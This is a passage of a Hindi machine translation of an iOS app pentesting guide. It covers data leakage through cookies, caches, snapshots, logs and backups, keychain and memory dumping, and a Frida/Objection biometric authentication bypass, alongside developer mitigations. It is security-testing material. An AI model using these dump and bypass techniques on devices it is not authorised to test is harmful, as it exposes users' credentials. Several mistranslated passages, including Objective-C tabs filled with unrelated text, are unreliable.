}

काउचबेस लाइट डेटाबेस

Couchbase Lite को हल्का और एम्बेडेड डेटाबेस इंजन के रूप में वर्णित किया गया है जो डॉक्यूमेंट-ओरिएंटेड (NoSQL) दृष्टिकोण का पालन करता है। iOS और macOS के लिए प्राकृतिक रूप से डिज़ाइन किया गया है, यह डेटा को सिंक करने की क्षमता प्रदान करता है।

उपकरण पर काउचबेस डेटाबेस की संभावित पहचान करने के लिए, निम्नलिखित निर्देशिका की जांच की जानी चाहिए:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

कुकीज़

iOS एप्स की कुकीज़ को हर एप्स फ़ोल्डर में Library/Cookies/cookies.binarycookies में स्टोर करता है। हालांकि, डेवलपर कभी-कभी इन्हें कीचेन में सेव करने का निर्णय लेते हैं क्योंकि उल्लिखित कुकी फ़ाइल बैकअप में एक्सेस किया जा सकता है

कुकीज़ फ़ाइल की जांच के लिए आप इस पायथन स्क्रिप्ट का उपयोग कर सकते हैं या objection का ios cookies get उपयोग कर सकते हैं।
आप objection का उपयोग करके इन फ़ाइलों को जेएसओएन प्रारूप में परिवर्तित करके डेटा की जांच कर सकते हैं।

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

कैश

डिफ़ॉल्ट रूप से NSURLSession डेटा को कैश.db डेटाबेस में स्टोर करता है, जैसे HTTP रिक्वेस्ट्स और रिस्पॉन्स. यह डेटाबेस संवेदनशील डेटा भी संग्रहित कर सकता है, अगर टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की जानकारी खोजने के लिए ऐप के डेटा निर्देशिका खोलें (/var/mobile/Containers/Data/Application/<UUID>) और जाएं /Library/Caches/<बंडल पहचानकर्ता>. WebKit कैश भी कैश.db फ़ाइल में संग्रहित हो रहा है। Objection कमांड sqlite connect Cache.db के साथ डेटाबेस को खोलकर इंटरैक्ट कर सकता है, क्योंकि यह एक सामान्य SQLite डेटाबेस है।

इसे डेटा कैश करने को अक्षम करना सिफारिश किया जाता है, क्योंकि इसमें रिक्वेस्ट या रिस्पॉन्स में संवेदनशील जानकारी हो सकती है। निम्नलिखित सूची नीचे विभिन्न तरीकों को प्राप्त करने के लिए दिखाती है:

  1. लॉगआउट के बाद कैश्ड रिस्पॉन्स को हटाना सिफारिश किया जाता है। यह किया जा सकता है एप्पल द्वारा प्रदान की गई विधि के साथ removeAllCachedResponses आप इस मेथड को निम्नलिखित रूप में कॉल कर सकते हैं:

URLCache.shared.removeAllCachedResponses()

यह मेथड सभी कैश्ड रिक्वेस्ट्स और रिस्पॉन्स को कैश.db फ़ाइल से हटा देगा। 2. यदि आपको कुकीज का लाभ उठाने की आवश्यकता नहीं है तो URLSession की .ephemeral विन्यास संपत्ति का उपयोग करना सिफारिश किया जाएगा, जो कुकीज और कैश को सहेजने को अक्षम कर देगा।

एप्पल दस्तावेज़ीकरण:

एक अल्पकालिक सत्र विन्यास वस्तु एक डिफ़ॉल्ट सत्र विन्यास (डिफ़ॉल्ट देखें) के समान है, केवल यह सत्र वस्तु चेहरे, पहरे स्टोर या किसी भी सत्र संबंधित डेटा को डिस्क में स्टोर नहीं करता है। इसके बजाय, सत्र संबंधित डेटा रैम में स्टोर किया जाता है। एक अल्पकालिक सत्र केवल तब डिस्क पर डेटा लिखता है जब आप इसे एक URL की सामग्री को एक फ़ाइल में लिखने के लिए कहते हैं। 3. कैश को .notAllowed पॉलिसी पर सेट करके कैश को अक्षम किया जा सकता है। यह किसी भी तरीके से कैश स्टोर करने को अक्षम कर देगा, चाहे वह मेमोरी में हो या डिस्क पर।

स्नैपशॉट्स

जब भी आप होम बटन दबाते हैं, iOS वर्तमान स्क्रीन का एक स्नैपशॉट लेता है ताकि एप्लिकेशन के लिए स्मूद तरीके से स्थानांतरण किया जा सके। हालांकि, यदि संवेदनशील डेटा वर्तमान स्क्रीन में मौजूद है, तो यह छवि में सहेजा जाएगा (जो रीबूट के बाद भी बना रहता है). ये स्नैपशॉट्स हैं जिन्हें आप एक्सेस कर सकते हैं होम स्क्रीन पर डबल टैप करके एप्लिकेशन्स के बीच स्विच करने के लिए।

जब तक iPhone जेलब्रोकन नहीं है, हमलावर को इन स्क्रीनशॉट्स को देखने के लिए उपकरण अनब्लॉक करने की आवश्यकता होती है। डिफ़ॉल्ट रूप से आखिरी स्नैपशॉट एप्लिकेशन के सैंडबॉक्स में स्टोर किया जाता है Library/Caches/Snapshots/ या Library/SplashBoard/Snapshots फ़ोल्डर में (विश्वसनीय कंप्यूटर iOX 7.0 से फ़ाइल सिस्टम तक पहुंच नहीं कर सकते हैं)।

इस बुरी व्यवहार को रोकने का एक तरीका स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालना या संवेदनशील डेटा हटाना है ApplicationDidEnterBackground() फ़ंक्शन का उपयोग करके।

निम्नलिखित एक नमूना सुधारने की विधि है जो एक डिफ़ॉल्ट स्क्रीनशॉट सेट करेगी।

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

उद्देश्य-सी:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

पृष्ठभूमि छवि को overlayImage.png सेट करता है जब एप्लिकेशन पृष्ठभूमि पर जाता है। यह संवेदनशील डेटा लीक को रोकता है क्योंकि overlayImage.png हमेशा वर्तमान दृश्य को ओवरराइड करेगा।

Keychain

iOS की कीचेन तक पहुंचने और उसे प्रबंधित करने के लिए, Keychain-Dumper जैसे उपकरण उपलब्ध हैं, जो जेलब्रोकन उपकरणों के लिए उपयुक्त हैं। इसके अतिरिक्त, Objection ऐसे ही उद्देश्यों के लिए ios keychain dump नामक कमांड प्रदान करता है।

क्रेडेंशियल भंडारण

NSURLCredential वर्ग संवेदनशील जानकारी को सीधे कीचेन में सहेजने के लिए आदर्श है, NSUserDefaults या अन्य लिपिकरणों की आवश्यकता को छोड़ते हुए। लॉगिन के बाद क्रेडेंशियल स्टोर करने के लिए, निम्नलिखित स्विफ्ट कोड का उपयोग किया जाता है:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

कस्टम कीबोर्ड और कीबोर्ड कैश

iOS 8.0 के बाद, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन इंस्टॉल कर सकते हैं, जो सेटिंग्स > सामान्य > कीबोर्ड > कीबोर्ड के अंडर प्रबंधन किए जा सकते हैं। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों को भेजने का खतरा उठाते हैं, हालांकि उपयोगकर्ताओं को नेटवर्क एक्सेस की आवश्यकता होने पर कीबोर्ड के बारे में सूचित किया जाता है। ऐप्स को, और चाहिए, संवेदनशील जानकारी दर्ज करने के लिए कस्टम कीबोर्ड का उपयोग प्रतिबंधित करना चाहिए।

सुरक्षा सिफारिशें:

  • बेहतर सुरक्षा के लिए थर्ड-पार्टी कीबोर्ड को अक्षम करना सिफारिश किया जाता है।
  • डिफ़ॉल्ट iOS कीबोर्ड के ऑटोकरेक्ट और ऑटो-सुझाव सुविधाओं के बारे में जागरूक रहें, जो Library/Keyboard/{locale}-dynamic-text.dat या /private/var/mobile/Library/Keyboard/dynamic-text.dat में संवेदनशील जानकारी स्टोर कर सकते हैं। ये कैश फ़ाइलें नियमित रूप से संवेदनशील डेटा के लिए जांची जानी चाहिए। सेटिंग्स > सामान्य > रीसेट > कीबोर्ड डिक्शनरी रीसेट के माध्यम से कैश डेटा को साफ करने की सिफारिश की जाती है।
  • नेटवर्क ट्रैफ़िक को इंटरसेप्ट करके यह पता लगाया जा सकता है कि क्या कस्टम कीबोर्ड रिमोट रूप से कीस्ट्रोक भेज रहा है।

टेक्स्ट फ़ील्ड कैशिंग को रोकना

UITextInputTraits protocol ऑटोकरेक्शन और सुरक्षित टेक्स्ट एंट्री को प्रबंधित करने के लिए गुण प्रदान करता है, जो संवेदनशील जानकारी कैशिंग को रोकने के लिए आवश्यक है। उदाहरण के लिए, ऑटोकरेक्शन को अक्षम करना और सुरक्षित टेक्स्ट एंट्री को सक्षम करना इस प्राप्त किया जा सकता है:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

इसके अतिरिक्त, डेवलपर्स को सुनिश्चित करना चाहिए कि पाठ क्षेत्र, खासकर पासवर्ड और पिन जैसी संवेदनशील जानकारी दर्ज करने के लिए, autocorrectionType को UITextAutocorrectionTypeNo और secureTextEntry को YES सेट करके कैशिंग को अक्षम कर देना चाहिए।

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

लॉग

डीबगिंग कोड में अक्सर लॉगिंग का उपयोग होता है। लॉग में संवेदनशील जानकारी हो सकती है, इसमें एक जोखिम होता है। पहले, iOS 6 और पुराने संस्करणों में, सभी ऐप्स तक लॉग पहुंचने की स्थिति थी, जिससे संवेदनशील डेटा लीक होने का खतरा था। अब, ऐप्लिकेशन केवल अपने लॉग तक पहुंच सकती हैं

इन प्रतिबंधों के बावजूद, एक हमलावर जिसके पास फिजिकल एक्सेस है एक अनलॉक किए गए डिवाइस को कंप्यूटर से कनेक्ट करके इसे उत्पन्न कर सकता है और लॉग पढ़ सकता है। यह महत्वपूर्ण है कि ऐप के अनइंस्टॉलेशन के बाद भी लॉग डिस्क पर बने रहते हैं।

जोखिम को कम करने के लिए, सुझाव दिया जाता है कि ऐप के साथ गहराई से इंटरैक्ट किया जाए, ताकि यह सुनिश्चित किया जा सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं हो रही है।

पोटेंशियल लीक्स के लिए ऐप के स्रोत कोड की समीक्षा करते समय, पूर्वनिर्धारित और कस्टम लॉगिंग स्टेटमेंट्स के लिए खोजें जैसे कि NSLog, NSAssert, NSCAssert, fprintf जैसे इनबिल्ट-इन फंक्शन्स के लिए, और कस्टम इम्प्लीमेंटेशन्स के लिए Logging या Logfile के किसी उल्लेख को।

सिस्टम लॉग का मॉनिटरिंग

ऐप्स विभिन्न संवेदनशील जानकारी को लॉग करते हैं। इन लॉगों को मॉनिटर करने के लिए, टूल्स और कमांड्स जैसे:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

उपयोगी हैं। इसके अतिरिक्त, Xcode एक तरीका प्रदान करता है ताकि कंसोल लॉग एकत्र किए जा सकें:

  1. Xcode खोलें।
  2. iOS डिवाइस कनेक्ट करें।
  3. Window -> Devices and Simulators पर जाएं।
  4. अपने डिवाइस को चुनें।
  5. आप जिस समस्या का जांच कर रहे हैं, उसे ट्रिगर करें।
  6. लॉग देखने के लिए Open Console बटन का उपयोग करें एक नए विंडो में।

अधिक उन्नत लॉगिंग के लिए, डिवाइस शैल से कनेक्ट करना और socat का उपयोग करके वास्तविक समय में लॉग मॉनिटरिंग प्रदान कर सकता है:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

जासूसी क्रियाओं के लॉग गतिविधियों को देखने के लिए निम्नलिखित कमांडों का पालन करें, जो समस्याओं का निदान करने या लॉग में पोटेंशियल डेटा लीकेज़ की पहचान के लिए अमूल्य हो सकते हैं।



Trickest का उपयोग करें और आसानी से ऑटोमेट वर्कफ़्लो बनाएं, जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

बैकअप

ऑटो-बैकअप सुविधाएँ iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina के बाद), या iCloud के माध्यम से डिवाइस डेटा कॉपियों का निर्माण सुविधा प्रदान करते हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, जैसे Apple Pay विवरण और Touch ID विन्यास जैसे अत्यंत संवेदनशील तत्वों को छोड़कर।

सुरक्षा जोखिम

बैकअप में स्थापित ऐप्स और उनके डेटा को शामिल करने से डेटा लीकेज़ का मुद्दा उठता है और बैकअप संशोधन ऐप कार्यक्षमता को बदल सकते हैं का जोखिम होता है। इसे सलाह दी जाती है कि किसी भी ऐप के निर्देशिका या उसके उपनिर्देशिकाओं में सांदर जानकारी स्थानांतरित न करें ताकि इन जोखिमों को कम किया जा सके।

बैकअप से फ़ाइलों को छोड़ना

Documents/ और Library/Application Support/ में फ़ाइलें डिफ़ॉल्ट रूप से बैकअप होती हैं। डेवलपर्स NSURL setResourceValue:forKey:error: और NSURLIsExcludedFromBackupKey के साथ विशिष्ट फ़ाइलें या निर्देशिकाओं को बैकअप से छोड़ सकते हैं। इस अभ्यास को संवेदनशील डेटा को बैकअप में शामिल होने से बचाने के लिए महत्वपूर्ण माना जाता है।

सुरक्षा जोखिमों के लिए परीक्षण

ऐप के बैकअप सुरक्षा का मूल्यांकन करने के लिए, पहले Finder का उपयोग करके एक बैकअप बनाएं, फिर एप्पल के आधिकारिक दस्तावेज़ीकरण के मार्गदर्शन का पालन करके इसे ढूंढें। बैकअप को संवेदनशील डेटा या विन्यास के लिए विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए संशोधित किया जा सकता है।

संवेदनशील जानकारी को खोजने के लिए कमांड-लाइन उपकरण या iMazing जैसे एप्लिकेशन का उपयोग किया जा सकता है। एन्क्रिप्टेड बैकअप के लिए, एन्क्रिप्शन की मौजूदगी को "Manifest.plist" फ़ाइल में "IsEncrypted" कुंजी की जाँच करके पुष्टि की जा सकती है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

संग्रहित बैकअप का सामना करने के लिए, DinoSec के GitHub रेपो में उपलब्ध Python स्क्रिप्ट, जैसे backup_tool.py और backup_passwd.py, उपयोगी हो सकते हैं, हालांकि नवीनतम iTunes/Finder संस्करण के संगतता के लिए संभावित रूप से समायोजन की आवश्यकता हो सकती है। iOSbackup टूल एक और विकल्प है जिसका उपयोग पासवर्ड से सुरक्षित बैकअप के भीतर फ़ाइलों तक पहुंचने के लिए किया जा सकता है।

ऐप व्यवहार को संशोधित करना

बैकअप संशोधन के माध्यम से ऐप व्यवहार को बदलने का एक उदाहरण Bither बिटकॉइन वॉलेट ऐप में प्रदर्शित किया गया है, जहां UI लॉक पिन net.bither.plist के अंदर pin_code कुंजी के रूप में संग्रहीत है। इस कुंजी को प्लिस्ट से हटाना और बैकअप को पुनर्स्थापित करना पिन आवश्यकता को हटा देता है, असीमित पहुंच प्रदान करता है।

संवेदनशील डेटा के लिए मेमोरी परीक्षण पर सारांश

जब एक ऐप्लिकेशन की मेमोरी में संग्रहित संवेदनशील जानकारी से निपटना हो, तो इस डेटा का प्रकटीकरण समय की प्रकटीकरण को सीमित करना महत्वपूर्ण है। मेमोरी सामग्री की जांच के लिए दो मुख्य दृष्टिकोण हैं: एक मेमोरी डंप बनाना और मेमोरी का वास्तविक समय में विश्लेषण। दोनों तरीके के चुनौतियां हैं, जिसमें डंप प्रक्रिया या विश्लेषण के दौरान महत्वपूर्ण डेटा को छूने की संभावना है।

मेमोरी डंप प्राप्त करना और विश्लेषण करना

जेलब्रोकन और गैर-जेलब्रोकन उपकरणों के लिए, objection और Fridump जैसे उपकरण ऐप की प्रक्रिया मेमोरी को डंप करने की अनुमति देते हैं। एक बार डंप हो जाने पर, इस डेटा का विश्लेषण करने के लिए विभिन्न उपकरणों की आवश्यकता होती है, जो आप खोज रहे जानकारी के प्रकृति पर निर्भर करते हैं।

मेमोरी डंप से स्ट्रिंग्स निकालने के लिए, strings या rabin2 -zz जैसे कमांड का उपयोग किया जा सकता है:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

और विस्तृत विश्लेषण के लिए, विशेष डेटा प्रकार या पैटर्न की खोज के लिए, radare2 व्यापक खोज क्षमताएँ प्रदान करता है:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

रनटाइम मेमोरी विश्लेषण

r2frida एक शक्तिशाली विकल्प प्रदान करता है जो एक ऐप की मेमोरी की जांच करने के लिए वास्तविक समय में, मेमोरी डंप की आवश्यकता के बिना। यह उपकरण दौड़ रहे एप्लिकेशन की मेमोरी पर सीधे खोज कमांड का निष्पादन संभव बनाता है:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

टूटी हुई गुप्तचरण

कमजोर की मैनेजमेंट प्रक्रियाएं

कुछ डेवलपर संवेदनशील डेटा को स्थानीय संग्रहण में सहेजते हैं और इसे कोड में हार्डकोड/पूर्वानुमानित एक कुंजी के साथ एन्क्रिप्ट करते हैं। यह नहीं किया जाना चाहिए क्योंकि कुछ पलटाव करने से हमलावरों को गोपनीय जानकारी निकालने की अनुमति हो सकती है।

असुरक्षित और/या पुराने एल्गोरिदम का उपयोग

डेवलपरों को पुराने एल्गोरिदम का उपयोग अधिकृत जांचें, स्टोर या भेजें डेटा करने के लिए नहीं करना चाहिए। कुछ इन एल्गोरिदमों में शामिल हैं: RC4, MD4, MD5, SHA1... उदाहरण के लिए पासवर्ड स्टोर करने के लिए हैश का उपयोग किया जाता है, तो हैश ब्रूट-फोर्स प्रतिरोधी के साथ उपयोग किया जाना चाहिए।

जांच

यदि आप कोड में हार्डकोड पासवर्ड/रहस्य ढूंढने में सक्षम हैं, या यदि वे पूर्वानुमानित हैं, और यदि कोड किसी प्रकार के कमजोर गुप्तचरण एल्गोरिदम का उपयोग कर रहा है, तो यह मुख्य जांच है।

यह दिलचस्प है कि आप कुछ क्रिप्टो लाइब्रेरी को स्वचालित रूप से objection का उपयोग करके मॉनिटर कर सकते हैं:

ios monitor crypt

अधिक जानकारी के लिए iOS एन्क्रिप्टिक API और लाइब्रेरी का उपयोग करें https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

स्थानीय प्रमाणीकरण

स्थानीय प्रमाणीकरण एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह एक दूरस्थ संबंधित बिंदु तक पहुंचने की सुरक्षा को लेकर एन्क्रिप्टिक विधियों के माध्यम से संरक्षण करता है। यहाँ का सारांश यह है कि उचित अमलानुसार, स्थानीय प्रमाणीकरण तंत्रों को चक्कर में डाला जा सकता है।

एप्पल का स्थानीय प्रमाणीकरण फ्रेमवर्क और कीचेन डेवलपरों के लिए मजबूत API प्रदान करते हैं जो उपयोगकर्ता प्रमाणीकरण डायलॉग को सुविधाजनक बनाने और गोपनीय डेटा को सुरक्षित रूप से संभालने में मदद करते हैं। सुरक्षित एन्क्लेव टच आईडी के लिए उंगली पहचान सुरक्षित करता है, जबकि फेस आईडी बायोमेट्रिक डेटा को कम किए बिना चेहरे की पहचान पर निर्भर करता है।

टच आईडी/फेस आईडी को एकीकृत करने के लिए डेवलपरों के पास दो API विकल्प हैं:

  • LocalAuthentication.framework उच्च स्तरीय उपयोगकर्ता प्रमाणीकरण के लिए जिसमें बायोमेट्रिक डेटा तक पहुंच नहीं होती।
  • Security.framework निचले स्तर की कीचेन सेवाओं तक पहुंच के लिए, बायोमेट्रिक प्रमाणीकरण के साथ गोपनीय डेटा को सुरक्षित करना। विभिन्न ओपन-सोर्स रैपर्स कीचेन तक पहुंच को सरल बनाते हैं।

{% hint style="danger" %} हालांकि, दोनों LocalAuthentication.framework और Security.framework विकल्पों के रूप में संक्रमणितताएं प्रस्तुत करते हैं, क्योंकि वे मुख्य रूप से प्रमाणीकरण प्रक्रियाओं के लिए डेटा भेजने के बजाय बूलियन मान लौटाते हैं, जिससे उन्हें छलने के लिए संवेदनशील बनाया जा सकता है (संदर्भ के लिए Don't touch me that way, by David Lindner et al देखें)। {% endhint %}

स्थानीय प्रमाणीकरण का कार्यान्वयन

उपयोगकर्ताओं से प्रमाणीकरण के लिए, डेवलपरों को LAContext वर्ग के evaluatePolicy विधि का उपयोग करना चाहिए, जिसमें चयन करना है:

  • deviceOwnerAuthentication: टच आईडी या डिवाइस पासकोड के लिए प्रश्न उठाता है, यदि कोई भी सक्षम नहीं है तो विफल हो जाता है।
  • deviceOwnerAuthenticationWithBiometrics: केवल टच आईडी के लिए प्रश्न उठाता है।

एक सफल प्रमाणीकरण evaluatePolicy से बूलियन लौटाने के द्वारा दिखाया जाता है, जो एक संभावित सुरक्षा दोष को हाइलाइट करता है।

कीचेन का उपयोग करके स्थानीय प्रमाणीकरण

iOS ऐप्स में स्थानीय प्रमाणीकरण को लागू करने में कीचेन API का उपयोग गोपनीय डेटा जैसे प्रमाणीकरण टोकन सुरक्षित रूप से स्टोर करने के लिए होता है। यह प्रक्रिया सुनिश्चित करती है कि डेटा केवल उपयोगकर्ता द्वारा ही पहुंचा जा सकता है, उनके डिवाइस पासकोड या टच आईडी जैसे बायोमेट्रिक प्रमाणीकरण का उपयोग करके।

कीचेन आइटम्स को SecAccessControl विशेषता के साथ सेट करने की क्षमता प्रदान करता है, जो आइटम तक पहुंच को रोकता है जब तक उपयोगकर्ता टच आईडी या डिवाइस पासकोड के माध्यम से सफलतापूर्वक प्रमाणीकरण नहीं करता। यह सुरक्षा को बढ़ाने के लिए महत्वपूर्ण है।

नीचे स्विफ्ट और ऑब्जेक्टिव-सी में कोड उदाहरण हैं जो दिखाते हैं कि कैसे कीचेन में स्ट्रिंग को सहेजना और पुनः प्राप्त करना, इन सुरक्षा सुविधाओं का उपयोग करते हुए। उदाहरण विशेष रूप से दिखाते हैं कि कैसे एक्सेस कंट्रोल सेट करने के लिए टच आईडी प्रमाणीकरण की आवश्यकता है और सुनिश्चित करते हैं कि डेटा केवल उस डिवाइस पर ही पहुंचा जा सकता है, जिस पर यह सेट किया गया था, उस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है।

{% tabs %} {% tab title="स्विफ्ट" %}

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

{% endtab %}

{% tab title="Objective-C" %}हैकर्स Objective-C कोड की जांच करने के लिए उपयोग कर सकते हैं, जो iOS ऐप्स में उपयोग होता है। यह कोड विशेषता से सुरक्षा संबंधित चुनौतियों को खोजने में मदद कर सकता है, जैसे कि अनुसंधान और डेटा संचार की सुरक्षा।{% endtab %}

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

{% endtab %} {% endtabs %}

अब हम कीचेन से सहेजे गए आइटम का अनुरोध कर सकते हैं। कीचेन सेवाएं प्रयोक्ता को प्रमाणीकरण डायलॉग प्रस्तुत करेंगी और उपयुक्त अंगुली छाप प्रदान किया गया है या नहीं के आधार पर डेटा या निल वापस करेंगी।

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

{% endtab %}

{% tab title="Objective-C" %}हैकर्स Objective-C कोड की जांच करने के लिए उपयोग कर सकते हैं और इसमें सुरक्षा समस्याओं की खोज करने के लिए विभिन्न टूल्स और तकनीकों का उपयोग कर सकते हैं।{% endtab %}

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

{% endtab %} {% endtabs %}

पता लगाना

ऐप में फ्रेमवर्क का उपयोग भी एप्लिकेशन बाइनरी की साझा डायनामिक लाइब्रेरी की सूची का विश्लेषण करके पता लगाया जा सकता है। इसे otool का उपयोग करके किया जा सकता है:

$ otool -L <AppName>.app/<AppName>

यदि ऐप में LocalAuthentication.framework का उपयोग किया गया है, तो उत्पादन में निम्नलिखित दोनों पंक्तियाँ शामिल होंगी (ध्यान दें कि LocalAuthentication.framework Security.framework का उपयोग करता है):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

यदि Security.framework का उपयोग किया गया है, तो केवल दूसरा दिखाया जाएगा।

स्थानीय प्रमाणीकरण फ्रेमवर्क बायपास

आपत्ति

आपत्ति बायोमेट्रिक्स बायपास के माध्यम से, जो इस GitHub पेज पर स्थित है, एक तकनीक उपलब्ध है जिसका उपयोग LocalAuthentication तंत्र को पार करने के लिए किया जा सकता है। इस दृष्टिकोण का मूल तत्व Frida का उपयोग करना है, evaluatePolicy फ़ंक्शन को परिवर्तित करने के लिए, सुनिश्चित करते हुए कि यह हमेशा True परिणाम देता है, वास्तविक प्रमाणीकरण सफलता के अपेक्षाकृत। यह खासकर गलत बायोमेट्रिक प्रमाणीकरण प्रक्रियाओं को टालने के लिए उपयोगी है।

इस बायपास को सक्रिय करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

यह कमांड एक क्रम को शुरू करता है जहाँ Objection एक कार्य को पंजीकृत करता है जो evaluatePolicy चेक के परिणाम को True में परिवर्तित करता है।

Frida

evaluatePolicy का उपयोग का एक उदाहरण DVIA-v2 एप्लिकेशन से:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
